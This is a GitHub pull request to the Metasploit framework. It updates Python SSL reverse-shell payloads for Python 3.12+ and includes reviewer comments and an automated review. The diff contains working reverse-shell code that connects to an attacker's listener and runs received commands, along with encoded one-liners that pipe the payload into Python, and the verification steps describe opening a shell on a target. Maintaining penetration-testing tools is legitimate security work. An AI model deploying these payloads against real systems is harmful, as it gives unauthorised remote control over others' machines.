Skip to content

Fix ssl wrap socket python314#21302

Open
VISHVAJITH-REDDY wants to merge 2 commits intorapid7:masterfrom
VISHVAJITH-REDDY:fix-ssl-wrap-socket-python314
Open

Fix ssl wrap socket python314#21302
VISHVAJITH-REDDY wants to merge 2 commits intorapid7:masterfrom
VISHVAJITH-REDDY:fix-ssl-wrap-socket-python314

Conversation

@VISHVAJITH-REDDY
Copy link
Copy Markdown

Fixes #21301

ssl.wrap_socket() was removed in Python 3.12 (deprecated since 3.7), causing an
AttributeError on Python 3.12+ including 3.14.

Replaces it with SSLContext.wrap_socket() using a getattr fallback chain that
works across Python 2.7.9 through 3.14+ without deprecation warnings.

Files changed

  • modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
  • modules/payloads/singles/python/shell_reverse_tcp_ssl.rb

Verification

  1. Start msfconsole
  2. use exploit/multi/handler
  3. set payload cmd/unix/reverse_python_ssl
  4. set LHOST <your IP>
  5. set LPORT 4444
  6. run
  7. On target: run the generated command with Python 3.14
  8. Verify a shell session opens (previously crashed with AttributeError)
  9. Repeat with payload python/shell_reverse_tcp_ssl
  10. Verify same fix works on Python 2.7 / 3.4+ targets too

Updated SSL handling in reverse TCP shell payload to use SSLContext for compatibility with newer Python versions.
@jeanmtr
Copy link
Copy Markdown
Contributor

jeanmtr commented Apr 15, 2026

python/meterpreter/reverse_tcp_ssl is also affected.

@VISHVAJITH-REDDY
Copy link
Copy Markdown
Author

I've also fixed lib/msf/core/payload/python/reverse_tcp_ssl.rb in my fork
but I see @jeanmtr has opened #21303 with a broader fix. Happy to defer to
that PR or add the mixin fix to this one if preferred.

cmd += "\ts.send(stdout_value)\n"

if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a reason to add this as a literal rather than using py_create_exec?

\tso.sendall(o)
PYTHON

py_create_exec_stub(cmd)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this not necessary?

# Use SSLContext.wrap_socket() instead, which is available from Python 2.7.9+
# and 3.2+. We fall back through PROTOCOL_TLS_CLIENT (3.6+) -> PROTOCOL_TLS
# (3.2-3.9) -> PROTOCOL_SSLv23 (2.7.9+) to cover all supported versions.
cmd += "ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this work on a subset of versions that the old way did? Are we losing support for versions 2.5?

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates the Python reverse TCP SSL command payloads to avoid ssl.wrap_socket() (removed in Python 3.12+) by switching to SSLContext.wrap_socket() with protocol-constant fallbacks intended to preserve broad Python version compatibility.

Changes:

  • Replace ssl.wrap_socket() usage with SSLContext.wrap_socket() in both the cmd/unix and python reverse SSL payloads.
  • Add explicit check_hostname=False and verify_mode=CERT_NONE to support Metasploit’s self-signed listener certificates.
  • Refactor some module metadata/formatting and adjust how the cmd/unix payload constructs its exec stub.

Impact Analysis:

  • Blast radius: high; affects users generating/using cmd/unix/reverse_python_ssl and python/shell_reverse_tcp_ssl payloads across many exploits/handlers.
  • Data and contract effects: payload output/encoding expectations change (notably for the python/ payload’s generated content); compatibility risk if payload embedding expects a one-line exec stub.
  • Rollback and test focus: rollback is straightforward (revert to prior payload strings); validate python/shell_reverse_tcp_ssl generation/embedding and end-to-end handler connection on Python 2.7.9+, 3.4+, and 3.12+.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.

File Description
modules/payloads/singles/python/shell_reverse_tcp_ssl.rb Switches SSL wrapping to SSLContext.wrap_socket() but currently alters payload output format.
modules/payloads/singles/cmd/unix/reverse_python_ssl.rb Switches SSL wrapping to SSLContext.wrap_socket() and rewrites the shell-embedded Python exec stub generation.

Comment on lines +56 to 73
<<~PYTHON
import socket as s
import subprocess as r
import ssl
so=s.socket(s.AF_INET,s.SOCK_STREAM)
so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
so=ssl.wrap_socket(so)
ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))
ss.check_hostname=False
ss.verify_mode=ssl.CERT_NONE
so=ss.wrap_socket(so)
while True:
d=so.recv(1024)
if len(d)==0:
break
p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
o=p.stdout.read()+p.stderr.read()
so.sendall(o)
\td=so.recv(1024)
\tif len(d)==0:
\t\tbreak
\tp=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
\to=p.stdout.read()+p.stderr.read()
\tso.sendall(o)
PYTHON
Comment on lines 78 to +85
if datastore['PythonPath'].blank?
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -"
"echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
"__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
" | $(which python || which python3 || which python2) -"
else
return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
"echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \
"__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \
" | #{datastore['PythonPath']} -"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

cmd/unix/reverse_python_ssl Fails on Python 3.14

5 participants